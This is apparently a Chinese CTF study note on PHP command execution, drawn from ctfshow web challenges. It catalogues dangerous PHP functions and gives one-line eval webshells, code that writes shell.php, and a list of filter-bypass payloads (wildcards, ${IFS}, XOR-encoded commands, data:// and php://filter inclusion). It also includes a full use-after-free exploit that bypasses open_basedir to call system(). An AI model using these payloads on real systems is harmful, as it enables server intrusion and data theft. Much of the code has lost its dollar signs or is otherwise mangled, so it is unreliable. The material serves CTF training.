# 命令执行
# 2.1 rce 中常用的 php 代码执行函数
eval()
, assert()
, preg_replace()
, create_function()
, array_map()
, call_user_func()/call_user_func_array()
, array_filter()
, usort()/uasort()
, file_put_contents()
# eval()
执行一个字符串表达式,该字符串必须是合法的 PHP 代码,且必须以 分号 结尾
https://www.cnblogs.com/linuxnotes/p/3466756.html
eval () 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
<?php | |
eval($_POST[cmd]) | |
?> |
利用方式:
<?php | |
$a = 199; | |
eval("echo\$a;"); |
输出:199
例:
<?php | |
$str = "array('a'=>'123','b'=>'456')"; | |
eval("\arr = ".str.";"); | |
var_dump($arr); |
输出: array(2) { ["a"]=> string(3) "123" ["b"]=> string(3) "456" }
<?php | |
a = _GET['a']; | |
eval($a); | |
//a = eval($_GET['1']);&1=phpinfo(); | |
?> |
另一种情况:
<?php | |
eval($_POST['a']); | |
?> | |
//如果想在a中再放一个可以任意控制的参数绕过正则检测 | |
不能直接令a=$_POST[1] | |
尝试: | |
a = system($_POST[1]); //1可以执行一些系统命令 |
例子
<?php | |
$string = "beautiful"; | |
$time = "winter"; | |
str = 'This is a string $time morning!'; | |
echo $str. "<br />"; | |
eval("\str = \"str\";"); | |
echo $str; ?> |
输出: This is a string time morning! This is a beautiful winter morning!
# assert()
assert 函数 是直接将传入的参数当成 PHP 代码 直接,不需要以分号结尾,当然你加上也可以
Php5:
assert(mixed assertion, string description = ?): bool |
Php7:
assert(mixed assertion, Throwable exception = ?): bool |
如果 assertion 是字符串,它将会被 assert () 当做 PHP 代码来执行。
针对断言的理解
# preg_replace()
preg_replace( | |
string|array $pattern, | |
string|array $replacement, | |
string|array $subject, | |
int $limit = -1, | |
int &$count = null | |
): string|array|null |
搜索 subject
中匹配 pattern
的部分,以 $ replacement
进行替换。
preg_replace()
函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的 /e 修饰符,使 preg_replace
将 replacement
参数当作 PHP 代码
利用方式:
<?php | |
//?cmd=phpinfo(); | |
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); //cmd=system("ls"); | |
?> |
# create_function()
通过传递的参数创建一个匿名函数,并且返回函数的一个名字
create_function(string args, string code): string | |
第一个参数是函数接受的参数,第二个参数是函数的执行体 |
利用方式:
newfunc = create_function('', '_REQUEST['cmd']');eval($_POST{1}) | |
$newfunc(); |
# array_map()
为数组的每个元素应用回调函数
array_map(callable callback, array array, array ...$arrays): array |
array_map():返回数组,是为 array
每个元素应用 callback
函数之后的数组。 array_map() 返回一个 array,数组内容为 array1
的元素按索引顺序为参数调用 callback
后的结果(有更多数组时,还会传入 arrays
的元素)。 callback
函数形参的数量必须匹配 array_map() 实参中数组的数量。
利用方式:
<?php | |
//func = system | |
func = _GET['func']; | |
//cmd = ls | |
cmd=_GET['cmd']; | |
array[0] = cmd | |
new_array = array_map(func,$array); // 返回执行结果后的新数组 | |
//print_r($new_array); | |
?> |
# call_user_func()/call_user_func_array()
call_user_func()
---------- 把第一个参数作为回调函数调用
call_user_func(callable callback, mixed parameter = ?, mixed $... = ?): mixed |
第一个参数是 被调用的回调函数
,后面的参数是 函数的形参
利用方式:
<?php | |
cmd=_REQUEST['cmd'];====>_GET['cmd']||_POST['cmd'] | |
//cmd = phpinfo() | |
call_user_func(assert,$cmd);//assert(phpinfo();) | |
?> |
call_user_func_array()
-------- 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array(callable callback, array param_arr): mixed |
利用方式:
<?php | |
func = _REQUEST['func']; | |
cmd = _REQUEST['cmd']; | |
array['0'] = cmd | |
result = call_user_func_array(func,$cmd); | |
//print_r($result); | |
?> |
# array_filter()
使用回调函数过滤数组的元素
array_filter(array array, ?callable callback = null, int $mode = 0): array |
遍历 array
数组中的每个值,并将每个值传递给 callback
回调函数。 如果 callback
回调函数返回 true
,则将 array
数组中的当前值返回到结果 array 数组中
利用方式:
<?php | |
func = _GET['func']; | |
cmd = _GET['cmd']; | |
array1=array(cmd); | |
array_filter(array1,func) | |
?> |
# usort()/uasort()
使用用户自定义的比较函数对数组中的值进行排序
usort(array &array, callable callback): bool |
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
利用方式:
php环境>=5.6才能用 | |
<?php usort(...$_GET);?> | |
利用方式: | |
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert | |
[POST]:x=phpinfo(); | |
php环境>=<5.6才能用 | |
<?php usort($_GET,'asse'.'rt');?> | |
利用方式: | |
test.php?1=1+1&2=eval($_POST[x]) | |
[POST]:x=phpinfo(); |
参考:https://www.wd0g.com/?p=190
# file_put_contents()/fputs()
将一个字符串写入文件
file_put_contents( | |
string $filename, | |
mixed $data, | |
int $flags = 0, | |
resource $context = ? | |
): int |
利用方式:
<?php | |
test='<?php eval(_POST[cmd]);?>'; | |
file_put_contents('test.php',$test); | |
?> | |
<?php | |
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>') | |
?> |
# 动态函数构造:
利用方式:
<?php | |
#a=assert&b=system('ls') | |
_GET['a'](_GET['b']); | |
?> |
# 2.2 rce 中常用的包含文件函数
include
highlight_file
# include
当包含 .php
文件时,可同时运行
利用方式:
include('flag.php'); | |
或者 | |
include 'flag.php'; | |
姿势绕过 | |
include $_GET[1]?>&1=flag.php |
# highlight_file/show_ource
语法高亮一个文件,即将文件内容全部展示出来
highlight_file(string filename, bool return = false): mixed |
这个函数被 ban 掉的可能性较小,可以尝试高亮 flag
文件
利用方式:
highlight_file 'flag.php' |
# 2.3 常见的系统执行函数
system shell_exec exec popen passthru
# system
将 字符串 作为 OS 命令 去执行,并且 自带输出功能
system(string command, int &return_var = ?): string |
利用方式:
<?php | |
//a = system('ls') | |
a = _REQUEST[a]; | |
eval($a); | |
?> |
# shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。只返回字符串,不会进行输出。该函数和 反引号 `` 的执行效果一致
shell_exec(string $cmd): string |
利用方式:
<?php | |
$output = shell_exec('ls -lart'); | |
echo "<pre>$output</pre>"; // 需要输出显示结果 | |
//print($output); | |
?> |
# exec
将 字符串 作为 OS 命令 去执行,但是自身 不带输出功能,需要 写入 输出功能的代码
执行一个外部程序
exec(string command, array &output = ?, int &$return_var = ?): string |
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若需要完整的返回字符串,可以使用 PassThru () 这个函数。
利用方式:
<?php | |
echo exec("whoami"); | |
?> | |
注意:该函数能够执行系统命令,但是返回结果是有限度的(即返回不全) | |
# 例如:exec('ping 127.0.0.1'); 可执行,显示不出来 | |
# print(exec('ping 127.0.0.1')); 可显示出来但,显示不完全 |
# popen
打开进程文件指针,打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen(string `$command`, string `$mode`): resource |
利用方式:
<?php | |
$handle = popen("/bin/ls", "r"); | |
?> |
# passthru
执行外部程序并且 自带输出功能
passthru(string `$command`, int `&$return_var` = ?): void |
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令( command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif
, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
利用方式:
<?php | |
passthru ('echo $PATH'); | |
?> |
# 2.4 其他命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等 | |
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等 | |
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等 |
# 2.5 积累
php 中不需要括号的函数
echo 111; | |
print 123; | |
die; | |
include " " | |
require " " | |
include_once " " | |
require_once " " |
# 小知识库:
系统命令: | |
1. 里可以用? 匹配字符 | |
2. 可以用;间隔两条命令 | |
3. $? //上一次命令执行成功为0,不成功为1 | |
4. env 查看本地变量 | |
5. ``和$()可以代替shell_exec执行系统命令 //web396 | |
6. nl * 打开目录下所有文件 | |
PHP: | |
1. <?= ?>===<?php ?> |
# 2.7 常见的绕过姿势:
# 常用符号
- 命令连接符
Windows 和 Linux 都支持的命令连接符:
cmd1 | cmd2 只执行cmd2 | |
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行 | |
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2 | |
cmd1 && cmd2 先执行cmd1,只有cmd1执行成功后才执行cmd2,否则不执行cmd2 |
Linux 特有:分号
cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2 |
- 通配符
? #单个字符 | |
* #零个、单个或多个字符 |
例子:遇到 system ($_GET [‘c’]);, 则 c 可以传参
/???/?s --help | |
#可代表 /bin/ls --help | |
/???/????64 f???.??? | |
#可代表 /bin/base64 flag.php:base64 编码 flag.php 的内容。 | |
/???/?[a][t] ?''?''?''?'' | |
#可代表 /usr/bin/bzip2 flag.php: 将 flag.php 文件进行压缩,然后再将其下载。 | |
/???/?at ???? | |
/???/?[a]''[t] ?''?''?''?'' | |
#可代表 /bin/cat: test: |
# cat 绕过
(1)more:一页一页的显示档案内容 | |
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 | |
(3)head:查看头几行 | |
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 | |
(5)tail:查看尾几行 | |
(6)nl:显示的时候,顺便输出行号 | |
(7)od:以二进制的方式读取档案内容 | |
(8)vi:一种编辑器,这个也可以查看 | |
(9)vim:一种编辑器,这个也可以查看 | |
(10)sort:可以查看 | |
(11)uniq:可以查看 | |
(12)file -f:报错出具体内容 | |
(13)sed:一种编辑器,这个也可以查看 | |
(14)grep | |
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file | |
(15)strings |
# 空格绕过
1. ${IFS}替换 | |
2. 替换 | |
3. ${IFS替换 | |
{IFS}9 | |
4. %20替换 | |
5. < 和 <> 重定向符替换 | |
6. %09替换(需要php环境) | |
7. %0a %0b %0c %0d |
# 敏感字符绕过
- 变量绕过;
1. a=c;b=at;c=fl;d=ag;ab cd | |
2. 题目:ctfshow-web31 | |
* a = eval($_GET[1]);&1=..... |
- base64 绕过
echo 1234 | base64 | |
MTIzNAo= | |
echo 'MTIzNAo=' | base64 -d | |
1234 | |
/bin/base64 1.txt | |
MTIzCg== |
- 单双引号
c""at fl''ag |
- 反斜线
c\at fl\ag |
- 连接符
cat /etc/pass'w'd |
# php include + 伪协议 绕过
1. ?c=include $_GET["a"] ?>&a=php://filter/read=convert.base64-encode/resource=flag.php | |
2. ?c=include $_POST[1] ?>&1=php://filter/read=convert.base64-encode/resource=flag.php | |
1. ?c=data://text/plain,<?php echo system('cat fl*');?> | |
2. ?c=data://text/plain,<?php%20system('tac fl*');?> | |
3. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== | |
其中PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==的解码为<?php echo system('cat fl*');?> |
具体伪协议在文件包含中讲解
相关题目: cftshow web32-36
# 扫描目录
- print_r 扫描目录
c=print_r(scandir('.'));#查看当前目录 | |
c=print_r(scandir('/'));#查看根目录 | |
c=print_r(glob('*'));#查看当前目录 | |
c=print_r(glob('/*'));#查看根目录 |
- var_dump 扫描目录
c=var_dump(scandir('.'));#查看当前目录 | |
c=var_dump(scandir('/'));#查看根目录 | |
c=var_dump(glob('*'));#查看当前目录 | |
c=var_dump(glob('/*'));#查看根目录 |
- var_export 扫描目录
c=var_export(scandir('.'));#查看当前目录 | |
c=var_export(scandir('/'));#查看根目录 | |
c=var_export(glob('*'));#查看当前目录 | |
c=var_exportdump(glob('/*'));#查看根目录 |
- glob 目录遍历
c= | |
$a=new DirectoryIterator("glob:///*"); | |
foreach(a as f){ | |
echo $f." " ; | |
} | |
exit(); | |
或者 | |
$a = "glob:///*.txt"; | |
if(b=opendir(a)){ | |
while((file=readdir(b))!==false){ | |
echo "filename:".$b."\n"; | |
} | |
close($b); | |
} |
# 无参 RCE 构造
chr():根据ascii码值将数字转换成字符串 | |
get_defined_vars() 获取题目相关变量 | |
print_r() 函数用于打印变量,以更容易理解的形式展示 | |
localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.) | |
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似 | |
array_reverse():数组逆序 | |
scandir():获取目录下的文件 | |
next(): 函数将内部指针指向数组中的下一个元素,并输出。 | |
current(): 返回数组当前值 | |
reset(): 设置当前数组指针指向第一个单元 | |
crypt(): 单项字符串散列,相当于将字符串转换为hash等的复杂字符串 | |
floor(): 舍去法取整 | |
ceil(): 进一法取整 | |
sinh/cosh(): 双曲正弦/余弦 | |
scandir(string $directory): array: 列出指定路径中的文件和目录,返回一个 array,包含有 directory 中的文件和目录。 | |
getcwd(): 获取当前工作目录 |
# .
的构造
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) | |
chr(ord(hebrevc(crypt(time())))) #小概率 | |
chr(ord(strrev(crypt(serialize(array())))) |
# 查当前目录
payload:?c=print_r(scandir(current(localeconv()))); | |
或者是 | |
?c=print_r(scandir(pos(localeconv()))); #pos 是 current 的别名,localeconv () 返回的数组中第一个值为 '.' | |
?c=print_r(scandir(reset(localeconv()))); | |
?c=print_r(scandir(char(46)); | |
?c=print_r(scandir(char(time())); #不实际 | |
?c=print_r(scandir(char(rand())); #不实际 | |
?c=print_r(scandir(char(current(localtime(time())))); | |
#chr () 函数以 256 为一个周期,则 chr (46),chr (302).chr (558) 均为 . | |
#char (current (localtime (time ()))) 数组第一个值是秒数,则每 60 秒均会有一个 46 | |
print_r(scandir(chr(ord(hebrevc(crypt(time())))))); #小概率 | |
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); // 存在概率问题 | |
print_r(scandir(getcwd())); |
# 查倒数第二个文件
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#读取数组倒数第二个元素 | |
?c=show_source(next(arrray_reverse(scandir(getcwd())))); |
# 读最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));#flag 在最后一个文件 |
# 不确定文件位置
?c=show_source(array_rand(array_flip(scandir(getcwd())))); | |
array_flip - 交换数组中的键和值 | |
array_rand — 从数组中随机取出一个或多个随机键,有两个参数默认为1 | |
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); | |
#array_rand (array_flip ()),array_flip () 是交换数组的键和值,array_rand () 是随机返回一个数组 | |
#getchwd () 函数返回当前工作目录。 |
# 目标文件不在当前目录中
相关题目:
ctfshow web40 |
# 系统命令构造数字:
{_} = "" | |
$(())=0 | |
((~(())))=-1 | |
36 |
# 服务器变量构造查询语句
- 常见的系统变量:
系统变量
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 | |
PHP_VERSION=7.3.22 | |
SHLVL=2 | |
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin | |
[HOSTNAME] => glot-runner | |
[PHPIZE_DEPS] => autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c | |
[PHP_INI_DIR] => /usr/local/etc/php | |
[PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2 | |
[PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2 | |
[PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie | |
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F | |
[PHP_VERSION] => 7.2.1 | |
[PHP_URL] => https://secure.php.net/get/php-7.2.1.tar.xz/from/this/mirror | |
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/this/mirror | |
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d8e6efd8822 | |
[PHP_MD5] => | |
[HOME] => /home/glot | |
[PHP_SELF] => /tmp/543750210/main.php | |
[SCRIPT_NAME] => /tmp/543750210/main.php | |
[SCRIPT_FILENAME] => /tmp/543750210/main.php | |
[PATH_TRANSLATED] => /tmp/543750210/main.php | |
[DOCUMENT_ROOT] => | |
[REQUEST_TIME_FLOAT] => 1524198667.12 | |
[REQUEST_TIME] => 1524198667 | |
[argv] => Array | |
( | |
[0] => /tmp/543750210/main.php | |
) | |
[argc] => 1 | |
) |
相关题目:web119
构建 tac
tac====>{PHP_CFLAGS:{PHP_VERSION:{PHP_VERSION:~A}:~{SHLVL}}:{PHP_VERSION:{PHP_VERSION:~A}:~${SHLVL}}} |
首先获取到 3 以便于得到 PHP_CFLAGS
中的 tac:
从 PHP_VERSION
中截取 ${PHP_VERSION:2:1}
// 切片操作
这里的 2:
- 可以用
${PHP_VERSION:~A}
得到字符串的最后一位
这里的 1:
- 可以用
${~SHLVL}
得到,因为按位取反 10 取反得到 01 所以~2=1
;
因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}
最终的 tac 命令:
${PHP_CFLAGS:3:3}
// 切片操作,也就是上面 3 的语句直接复制一遍
也就是:
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}
// 得到 tac 指令
构建 base64:
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 | |
PHP_VERSION=7.3.22 | |
SHLVL=2 | |
???? // 代表 base | |
{#PHP_VERSION}{PHP_CFLAGS:~A} // 代表 64 | |
题目需要base64命令的绝对路径: | |
{PWD::{#SHLVL}} // 代表 '/' | |
${#SHLVL} //# 用来求变量值的长度 | |
初次完整的命令: | |
{PWD::{#SHLVL}}???{PWD::{#SHLVL}}????{#PHP_VERSION}{PHP_CFLAGS:~A} ????.??? // 长度超过限制需要缩减 | |
随机数: | |
${RANDOM} // 随机代表一个数 | |
${#RANDOM} // 代表这个随机数的长度 | |
由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字符串代替 | |
最终的语句: | |
{PWD::{#SHLVL}}???{PWD::{#SHLVL}}?????{#RANDOM} ????.??? // 带有随机性,只要 {RANDOM} 是一个四位数就可以,多试几次 |
# 以数字和不敏感函数构造敏感函数
base_convert(1231231131,10,36) ===>hex2bin | |
hex2bin(dechex(1598506324))=======>_GET | |
hex2bin(dechex(1598506324))=======>_GET |
相关题目:
ctfshow-web124
# open_basedir () 绕过
- 传脚本绕过:
<?php | |
function ctfshow($cmd) { | |
global abc, helper, $backtrace; | |
class Vuln { | |
public $a; | |
public function __destruct() { | |
global $backtrace; | |
unset($this->a); | |
$backtrace = (new Exception)->getTrace(); | |
if(!isset($backtrace[1]['args'])) { | |
$backtrace = debug_backtrace(); | |
} | |
} | |
} | |
class Helper { | |
public a, b, c, d; | |
} | |
function str2ptr(&str, p = 0, $s = 8) { | |
$address = 0; | |
for(j = s-1; j >= 0; j--) { | |
$address <<= 8; | |
address |= ord(str[p+j]); | |
} | |
return $address; | |
} | |
function ptr2str(ptr, m = 8) { | |
$out = ""; | |
for (i=0; i < m; i++) { | |
out .= sprintf("%c",(ptr & 0xff)); | |
$ptr >>= 8; | |
} | |
return $out; | |
} | |
function write(&str, p, v, n = 8) { | |
$i = 0; | |
for(i = 0; i < n; i++) { | |
str[p + i] = sprintf("%c",(v & 0xff)); | |
$v >>= 8; | |
} | |
} | |
function leak(addr, p = 0, $s = 8) { | |
global abc, helper; | |
write(abc, 0x68, addr + $p - 0x10); | |
leak = strlen(helper->a); | |
if(s != 8) { leak %= 2 << ($s * 8) - 1; } | |
return $leak; | |
} | |
function parse_elf($base) { | |
e_type = leak(base, 0x10, 2); | |
e_phoff = leak(base, 0x20); | |
e_phentsize = leak(base, 0x36, 2); | |
e_phnum = leak(base, 0x38, 2); | |
for(i = 0; i < e_phnum; i++) { | |
header = base + e_phoff + i * $e_phentsize; | |
p_type = leak(header, 0, 4); | |
p_flags = leak(header, 4, 4); | |
p_vaddr = leak(header, 0x10); | |
p_memsz = leak(header, 0x28); | |
if(p_type == 1 && p_flags == 6) { | |
data_addr = e_type == 2 ? p_vaddr : base + $p_vaddr; | |
data_size = p_memsz; | |
} else if(p_type == 1 && p_flags == 5) { | |
text_size = p_memsz; | |
} | |
} | |
if(!data_addr || !text_size || !$data_size) | |
return false; | |
return [data_addr, text_size, $data_size]; | |
} | |
function get_basic_funcs(base, elf) { | |
list(data_addr, text_size, data_size) = elf; | |
for(i = 0; i < data_size / 8; i++) { | |
leak = leak(data_addr, $i * 8); | |
if(leak - base > 0 && leak - base < data_addr - base) { | |
deref = leak(leak); | |
if($deref != 0x746e6174736e6f63) | |
continue; | |
} else continue; | |
leak = leak(data_addr, ($i + 4) * 8); | |
if(leak - base > 0 && leak - base < data_addr - base) { | |
deref = leak(leak); | |
if($deref != 0x786568326e6962) | |
continue; | |
} else continue; | |
return data_addr + i * 8; | |
} | |
} | |
function get_binary_base($binary_leak) { | |
$base = 0; | |
start = binary_leak & 0xfffffffffffff000; | |
for(i = 0; i < 0x1000; $i++) { | |
addr = start - 0x1000 * $i; | |
leak = leak(addr, 0, 7); | |
if($leak == 0x10102464c457f) { | |
return $addr; | |
} | |
} | |
} | |
function get_system($basic_funcs) { | |
addr = basic_funcs; | |
do { | |
f_entry = leak(addr); | |
f_name = leak(f_entry, 0, 6); | |
if($f_name == 0x6d6574737973) { | |
return leak($addr + 8); | |
} | |
$addr += 0x20; | |
} while($f_entry != 0); | |
return false; | |
} | |
function trigger_uaf($arg) { | |
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
$vuln = new Vuln(); | |
vuln->a = arg; | |
} | |
if(stristr(PHP_OS, 'WIN')) { | |
die('This PoC is for *nix systems only.'); | |
} | |
$n_alloc = 10; | |
$contiguous = []; | |
for(i = 0; i < n_alloc; i++) | |
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
trigger_uaf('x'); | |
abc = backtrace[1]['args'][0]; | |
$helper = new Helper; | |
helper->b = function (x) { }; | |
if(strlen(abc) == 79 || strlen(abc) == 0) { | |
die("UAF failed"); | |
} | |
closure_handlers = str2ptr(abc, 0); | |
php_heap = str2ptr(abc, 0x58); | |
abc_addr = php_heap - 0xc8; | |
write($abc, 0x60, 2); | |
write($abc, 0x70, 6); | |
write(abc, 0x10, abc_addr + 0x60); | |
write($abc, 0x18, 0xa); | |
closure_obj = str2ptr(abc, 0x20); | |
binary_leak = leak(closure_handlers, 8); | |
if(!(base = get_binary_base(binary_leak))) { | |
die("Couldn't determine binary base address"); | |
} | |
if(!(elf = parse_elf(base))) { | |
die("Couldn't parse ELF header"); | |
} | |
if(!(basic_funcs = get_basic_funcs(base, $elf))) { | |
die("Couldn't get basic_functions address"); | |
} | |
if(!(zif_system = get_system(basic_funcs))) { | |
die("Couldn't get zif_system address"); | |
} | |
$fake_obj_offset = 0xd0; | |
for(i = 0; i < 0x110; $i += 8) { | |
write(abc, fake_obj_offset + i, leak(closure_obj, $i)); | |
} | |
write(abc, 0x20, abc_addr + $fake_obj_offset); | |
write($abc, 0xd0 + 0x38, 1, 4); | |
write(abc, 0xd0 + 0x68, zif_system); | |
(helper->b)(cmd); | |
exit(); | |
} | |
ctfshow("cat /flag0.txt");ob_end_flush(); | |
?> |
直接把脚本当作参数传入,最后一行是执行的命令
相关题目:
ctfshow-web72
- ini_set(‘open_basedir’,’/’);
- 系统命令不受 open_basedir 的限制
<?php | |
ini_set('open_basedir','/var/www/html'); | |
$a = eval(system('tac /flag.txt')); // 仍然可以执行 | |
?> |
- 一些其他伪协议不受
open_basedir
的限制 ==> 文件包含讲解
# 无数字字符绕过
构造 POST 数据包
通过构造数据包,向目标服务器发送文件,文件已被保存到 tmp 目录下再根据保存的文件名的特性 (最后一个字母为大写),筛选文件,利用 .
执行
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> |
注意:
tmp目录下文件比较多,我们所上传的文件最后一个字母是大写,因此利用ascii字母的大写匹配,过滤掉其他文件[@-[] |
# 无数字字母绕过正则
无数字字母绕过正则
通过汉字或者一些不可见字符,进行异或,求与,取反等操作构建字母从而构建命令,最后显示的结果是经过 url 编码的
脚本的说明:
- 生成字符表脚本
<?php | |
/*author yu22x*/ | |
$myfile = fopen("xor_rce.txt", "w"); // 以写的方式打开 txt 文件 | |
$contents=""; | |
for (i=0; i < 256; $i++) { //ascii 码只占一个字节,所以设置最大数 256 | |
// 两个 for 循环总共 256*256 中可能的情况 | |
for (j=0; j <256 ; $j++) { // 通过 i,j 来构造字母 | |
if($i<16){ //ascii 的前 16 个字符的十六进制应该是 01,02,。。。。下面为了格式化数字加上了 0 | |
hex_i='0'.dechex(i); //dechex (十进制转换成十六进制) | |
} | |
else{ | |
hex_i=dechex(i); /// 将所有的数字转换成十六进制 | |
} | |
if($j<16){ | |
hex_j='0'.dechex(j); | |
} | |
else{ | |
hex_j=dechex(j); | |
} | |
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可 | |
if(preg_match(preg , hex2bin(hex_i))||preg_match(preg , hex2bin(hex_j))){// 过滤掉被匹配的字符 | |
echo ""; | |
} | |
else{ | |
a='%'.hex_i; | |
b='%'.hex_j; | |
c=(urldecode(a)^urldecode($b)); | |
if (ord(c)>=32&ord(c)<=126) { //32 到 126 是 ascii 码的所有可显示字符 | |
contents=contents.c." ".a." ".$b."\n"; | |
} | |
} | |
} | |
} | |
fwrite(myfile,contents); /// 将我们得到的所有字符写入之前打开的文件 | |
fclose($myfile);// 关闭文件 |
- 利用字符表生成我们需要的命令
# -*- coding: utf-8 -*- | |
# author yu22x | |
import requests | |
import urllib | |
from sys import * | |
import os | |
def action(arg): // 定义 action 函数 | |
s1="" // 用于异或的第一个字符串 | |
s2="" // 用于异或的第二个字符串 | |
for i in arg: //i 表示 arg 的一个字符 | |
f=open("xor_rce.txt","r") // 打开 php 脚本生成的 xor_rce.txt | |
while True: | |
t=f.readline() // 一行一行读取文件 | |
if t=="": // 读取完毕就结束 | |
break | |
if t[0]==i: //t [0] 也就是文件中的第一列,32-126 个可显示的 ascii 码字符 | |
#print(i) | |
s1+=t[2:5] // 截取 i 所在行第 3 列到第 5 列表示第一个字符串 | |
s2+=t[6:9] /// 截取 i 所在行第 7 列到第 9 列表示第二个字符串 | |
break | |
f.close() | |
output="(\""+s1+"\"^\""+s2+"\")" /// 对两个字符串进行异或 | |
return(output) | |
while True: | |
// 我们输入的函数和命令被作为 arg | |
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" | |
print(param) |
# FFI 扩展 (PHP>7.4.0)
这一扩展可以让 PHP 语言中使用 C 语言中的函数和库
FFI 链接
常见调用方式:
- FFI::def
创建 FFI 对象,一个字符串,包含常规 C 语言中的一系列声明(类型、结构、函数、变量等)。实际上,这个字符串可能是从 C 头文件复制粘贴的。
$ffi=FFI::cdef("int system(const char *command);"); | |
$a = '/readflag > /var/www/html/1.txt'; | |
ffi->system(a);exit(); |
这段代码首先创建了一个新的 FFI 对象调用 Linux 库的 int system (const char* command); 函数,作用是把 command 指定的命令名称或程序名称传给要被命令处理器执行的主机环境,并在命令完成后返回。
- FFi::load
加载 C 文件
phppublic static **FFI::load**(string
$filename`): ?FFI
- FFi::scope
使用预加载期间解析的 C 声明实例化 FFI 对象
public static FFI::scope(string $name
): FFI
- FFi::new
创建一个 C 语言数据结构
public static FFI::new(FFI\CType|string $type
, bool $owned
= true
, bool $persistent
= false
): ?FFI\CData
- FFi::cast
执行 C 类型转换
public static FFI::cast(FFI\CType|string $type
, FFI\CData|int|float|bool|null &$ptr
): ?FFI\CData
- FFi::memcmp
比较内存区域的大小字节
public static FFI::memcmp(string|FFI\CData &$ptr1
, string|FFI\CData &$ptr2
, int $size
): int
- FFI::memcpy
复制一个内存区域到另一个内存区域
public static FFI::memcpy(FFI\CData &$to
, FFI\CData|string &$from
, int $size
): void
# 特定函数绕过
# pase_url 解析
接受一个 url 并将其解析,如图
# call_user_func
-
调用类里面的静态函数
-
不区分大小写
# preg_match 绕过
- 不会匹配换行符
<?php | |
preg_match('/^*.(flag).*/',cmd){ | |
echo hacker; | |
} | |
// 令 $cmd=\nflag | |
?> |
在非多行模式下,$ 会忽略掉句尾的 %0a
<?php | |
preg_match('/^flag/',_GET['a']&&$_GET['a']!==flag){ | |
echo $flag; | |
} | |
//a=flag%0a | |
?> | |
if(_GET['b_u_p_t'] !== '23333' && preg_match('/^23333/', $_GET['b_u_p_t'])){ | |
echo "you are going to the next ~"; | |
} | |
//getIp();?b.u.p.t=23333%0a |
还有一些特殊绕过
<?php | |
